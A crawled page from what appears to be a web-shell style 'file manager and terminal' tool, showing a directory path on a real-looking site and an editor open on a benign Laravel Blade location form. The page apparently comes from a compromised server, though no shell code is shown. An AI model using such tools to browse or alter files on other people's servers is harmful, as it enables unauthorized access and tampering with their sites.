Advanced Web Server Manager
Complete File Manager & Terminal - Standalone Version
By Sid Gifari | Gifari Industries
Current path:
/
/
home
/
qtdcvxyp
/
karir.star4hire.com
/
modules
/
Location
/
Views
/
admin
✏️
Editing: form.blade.php
<div class="form-group"> <label>{{__("Name")}}</label> <input type="text" value="{{$translation->name}}" placeholder="{{__("Location name")}}" name="name" class="form-control"> </div> @if(is_default_lang()) <div class="form-group"> <label>{{__("Parent")}}</label> <select name="parent_id" class="form-control"> <option value="">{{__("-- Please Select --")}}</option> <?php $traverse = function ($categories, $prefix = '') use (&$traverse, $row) { foreach ($categories as $category) { if ($category->id == $row->id) { continue; } $selected = ''; if ($row->parent_id == $category->id) $selected = 'selected'; printf("<option value='%s' %s>%s</option>", $category->id, $selected, $prefix . ' ' . $category->name); $traverse($category->children, $prefix . '-'); } }; $traverse($parents); ?> </select> </div> @endif
💾 Save Changes
❌ Cancel